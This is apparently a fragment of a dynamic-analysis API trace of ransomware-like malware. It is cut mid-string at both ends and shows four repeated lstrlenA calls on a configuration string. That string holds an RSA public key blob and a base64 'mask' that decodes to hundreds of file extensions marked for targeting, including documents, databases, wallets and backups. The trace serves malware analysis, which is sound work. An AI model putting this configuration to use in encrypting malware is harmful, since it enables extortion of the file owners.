YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA